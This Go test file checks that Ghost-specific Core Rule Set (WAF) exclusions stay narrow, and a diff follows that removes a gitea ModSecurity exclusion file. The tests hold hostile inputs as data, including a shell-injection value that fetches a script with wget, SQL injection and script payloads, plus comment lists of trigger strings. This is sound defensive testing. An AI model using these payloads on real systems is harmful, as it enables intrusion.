ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
)
// ghostField is a field of a JSON body Ghost receives: the request that
// sends it, and its body, with VALUE where the field's value goes.
type ghostField struct{ method, target, body string }
// with returns f's body holding value, escaped for JSON.
func (f ghostField) with(t *testing.T, value string) string {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
return strings.ReplaceAll(f.body, "VALUE", string(quoted[1:len(quoted)-1]))
}
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`},
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
{http.MethodPost, "/ghost/api/admin/pages/", `{"pages":[{"slug":"VALUE"}]}`},
{http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"name":"VALUE"}]}`},
{http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"description":"VALUE"}]}`},
{http.MethodPost, "/ghost/api/admin/labels/", `{"labels":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
{http.MethodPost, ghostMembers, `{"members":[{"labels":[{"name":"VALUE"}]}]}`},
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"sender_name":"VALUE"}]}`},
{http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostMember, ghostMemberName},
}
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
// ghostAddressFields hold a member's or a staff user's email address and skip
// 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddressFields = []ghostField{
{http.MethodPost, ghostMagicLink, `{"email":"VALUE","emailType":"signup"}`},
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostPasswordReset, `{"password_reset":[{"email":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{http.MethodPost, ghostPosts + "?source=html", `{"posts":[{"html":"VALUE"}]}`},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
{http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"footer_content":"VALUE"}]}`},
}
// ghostCodeFields hold code injection or a setting and skip the rules of
// 900356.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"codeinjection_head":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"codeinjection_foot":"VALUE"}]}`},
{
http.MethodPut, ghostSettings,
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
const (
ghostAdminFilter = ghostPosts + "?limit=30&filter="
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
)
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
}
// ghostURLs are addresses 930120 and 932120 refused in url.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
"https://github.com/example/site/blob/main/.htaccess",
"https://example.com/blog/powershell-tips?ref=ghost",
"https://example.com/docs/python3/",
}
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddresses = []string{
"erin.htaccess@example.com",
"python3.dev@example.com",
"dave.powershell@example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
`<pre><code>#!/usr/bin/env python3
cat /etc/hosts | grep example
ls -la /var/www/html/.htaccess
powershell -ExecutionPolicy Bypass -File build.ps1
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
document.querySelectorAll('a').forEach((a) => console.log(a.href));
window.onload = () => alert('ready');</code></pre>` +
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
`<img src="https://images.example.com/banner.png" ` +
`onclick="this.classList.toggle('big')">`
// ghostCodeInjection is ordinary code injection for the head of a page.
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
`<link rel="preconnect" href="https://fonts.example.com">` +
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
// holding value, or lets it through.
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
t.Helper()
r := request{f.method, f.target, []string{jsonBody}}
body := f.with(t, value)
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf("%s %s %.300s let through: %+v", f.method, f.target, body, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
}
}
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
// target, a query field and its value, or lets it through.
func wantGhostQuery(t *testing.T, target string, refused bool) {
t.Helper()
got := inspect(t, atDefaults(t), get(target))
if refused && got.Score < ghostThreshold {
t.Errorf("%s let through: %+v", target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s refused: %+v", target, got)
}
}
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
fields := slices.Concat(ghostTextFields, ghostArticleFields, ghostCodeFields)
for _, f := range fields {
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
}
// filter as the admin's pickers write it, and search as typed.
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"), false)
wantGhostQuery(t, ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"), false)
wantGhostQuery(t, ghostSearch+encoded, false)
}
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
}
for _, address := range ghostAddresses {
for _, f := range ghostAddressFields {
wantGhostField(t, f, address, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape("tag:powershell+status:[draft,scheduled,published,sent]"), false)
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostAttacks are an SQL injection, a path traversal and a script
// injection, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(attack), true)
}
}
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(commandAfterASeparator), true)
}
// The articles and code injection carry HTML on purpose, but a script
// element and a javascript: link are still refused there.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The fields keep their rules off Ghost's paths, on Ghost's paths that
// take no such field, and when the query has a field of the same name.
const (
title = `{"posts":[{"title":"python3"}]}`
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
name = `{"name":"python3"}`
email = `{"email":"python3.dev@example.com"}`
username = `{"username":"python3.dev@example.com"}`
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/posts/", title},
{"/ghost/api/content/posts/", title},
{ghostMember, title},
{ghostPosts + "?json.posts.0.title=x", title},
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
{ghostPosts, name},
{ghostMember + "?json.name=x", name},
{"/api/posts/", article},
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
{ghostPosts + "?json.posts.0.lexical=x", article},
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
{
ghostSettings + "?json.settings.0.value=x",
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
{
ghostMembers + "?json.members.0.email=x",
`{"members":[{"email":"python3.dev@example.com"}]}`,
},
{ghostMember + "?json.email=x", email},
{ghostPosts, username},
{ghostSession + "?json.username=x", username},
{ghostPosts, setupEmail},
{ghostSetup + "?json.setup.0.email=x", setupEmail},
{ghostPosts, passwordResetEmail},
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
{ghostPosts, userEmail},
{ghostUser + "?json.users.0.email=x", userEmail},
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
{
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
`{"users":[{"profile_image":null}]}`,
},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold {
t.Errorf("PUT %s %s let through: %+v", refused.target, refused.body, got)
}
}
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
"/ghost/api/admin/posts/?order=powershell",
"/ghost/api/content/posts/?search=python3",
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
} {
wantGhostQuery(t, target, true)
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
// Ghost's password fields, each sent to the path that takes it. A dot
// nests a field, as Ghost nests it in an array.
fields := []passwordFields{
{ghostSession, jsonBody, []string{passwordKey}},
{"/ghost/api/admin/authentication/setup/", jsonBody, []string{"setup.0.password"}},
{
"/ghost/api/admin/authentication/invitation/", jsonBody,
[]string{"invitation.0.password"},
},
{
"/ghost/api/admin/authentication/password_reset/", jsonBody,
[]string{"password_reset.0.newPassword", "password_reset.0.ne2Password"},
},
{
"/ghost/api/admin/users/password/", jsonBody,
[]string{
"password.0.oldPassword", "password.0.newPassword",
"password.0.ne2Password",
},
},
}
wantPasswordFieldsPass(t, fields)
}
-370
View File
@@ -1,370 +0,0 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
# 930110: ../
# 930120: .gitignore
# 931100: http://127.0.0.1:8080
# 932120: Invoke-WebRequest
# 932130: $(pwd)
# 932140: if (a == b) {
# 932160: /bin/sh
# 932235: `make check`
# 932250: ls -la
# 932260: python3
# 932380: `whoami`
# 933100: <?php echo
# 933130: $_GET[
# 933135: ${VAR}
# 934100: process.env
# 934110: http://127.0.0.1:8080
# 934130: __proto__
# 941100: <script>
# 941110: <script>
# 941160: <img src=
# 941180: document.cookie
# 941390: fetch(
# 942100: SELECT * FROM users WHERE
# 942140: information_schema
# 942190: union select
# 942230: if (a == b) {
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
# gitea has no owner named api. A repository's search, issues, pull requests and
# commit search with that owner get none of this. /api/v2/search, for example,
# is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then:
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A repository with the owner api is left out here too.
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# gitea's searches of repositories, users, branches, tags and packages send a
# name in q, which skips these rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app
# 944130: org.apache.commons.logging
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
api/v1/packages/[^/]+)$" \
"id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch or package name can hold a slash, as feat/docker-support and npm's
# @scope/name do. So q on a repository's branches page and on an owner's
# packages page also skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these
# rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app
# The searches:
# - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
"id:900604,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
# 941130: docs/a b.xhtml
# 944130: java.lang.String.md
# The requests:
# - a file's page, raw file and download;
# - its blame, history, edit, preview and delete pages;
# - the API's call for its contents;
# - a release attachment's download.
SecRule REQUEST_FILENAME \
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
"id:900610,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
# The requests below name a file in a query parameter. These rules refused
# them for the file named:
# 930120: .gitignore
# 932120: install-script.sh
# 932130: [draft].md
# 932160: bin/docker-entrypoint
# 932260: docker-compose.yml
# 934100: process.env.d.ts
# 934130: __proto__.json
# 941130: index.xhtml
# 941180: document.write.js
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
"id:900620,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=934100;ARGS:file,\
ctl:ruleRemoveTargetById=934130;ARGS:file,\
ctl:ruleRemoveTargetById=941130;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file,\
ctl:ruleRemoveTargetById=942140;ARGS:file,\
ctl:ruleRemoveTargetById=944110;ARGS:file,\
ctl:ruleRemoveTargetById=944130;ARGS:file"
# The API's list of a file's commits, in path.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
"id:900621,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The API's call for the contents of several files, in body, as JSON.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
"id:900622,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:body,\
ctl:ruleRemoveTargetById=932120;ARGS:body,\
ctl:ruleRemoveTargetById=932160;ARGS:body,\
ctl:ruleRemoveTargetById=934100;ARGS:body,\
ctl:ruleRemoveTargetById=934130;ARGS:body,\
ctl:ruleRemoveTargetById=941130;ARGS:body,\
ctl:ruleRemoveTargetById=941180;ARGS:body,\
ctl:ruleRemoveTargetById=942140;ARGS:body,\
ctl:ruleRemoveTargetById=944110;ARGS:body,\
ctl:ruleRemoveTargetById=944130;ARGS:body"
# An issue opened from a template, in template.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
"id:900623,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:template,\
ctl:ruleRemoveTargetById=932120;ARGS:template,\
ctl:ruleRemoveTargetById=932130;ARGS:template,\
ctl:ruleRemoveTargetById=932160;ARGS:template,\
ctl:ruleRemoveTargetById=932260;ARGS:template,\
ctl:ruleRemoveTargetById=934100;ARGS:template,\
ctl:ruleRemoveTargetById=934130;ARGS:template,\
ctl:ruleRemoveTargetById=941130;ARGS:template,\
ctl:ruleRemoveTargetById=941180;ARGS:template,\
ctl:ruleRemoveTargetById=942140;ARGS:template,\
ctl:ruleRemoveTargetById=944110;ARGS:template,\
ctl:ruleRemoveTargetById=944130;ARGS:template"
# The sign-in page on the way to a file's edit page, in redirect_to.
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
"id:900624,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
# An attachment uploaded through the API to a release, an issue or a comment,
# in name.
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:900625,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name,\
ctl:ruleRemoveTargetById=934100;ARGS:name,\
ctl:ruleRemoveTargetById=934130;ARGS:name,\
ctl:ruleRemoveTargetById=941130;ARGS:name,\
ctl:ruleRemoveTargetById=941180;ARGS:name,\
ctl:ruleRemoveTargetById=942140;ARGS:name,\
ctl:ruleRemoveTargetById=944130;ARGS:name"
# A diff's hidden lines, fetched when shown, in path.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
"id:900626,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The requests below name a branch or tag in a query parameter, which skips
# the list of command names (932260) there. It refused names such as
# docker-build, python3-migration and feat/docker-support.
# Deleting or restoring a branch, in name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
# A release started from a tag, in tag.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
# A branch protection rule opened for editing, in rule_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
# A directory listing's last commits, in refSubUrl.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
# The passwords skip each rule that random passwords set off:
# password: signing in, signing up, linking an account, activating an account,
# resetting or changing the password, deleting an account, and creating or
# editing a user on the admin pages
# retype: signing up, linking an account by signing up, and changing the
# password
# old_password: changing the password
# json.password: creating or editing a user through the admin API
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
"id:900650,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
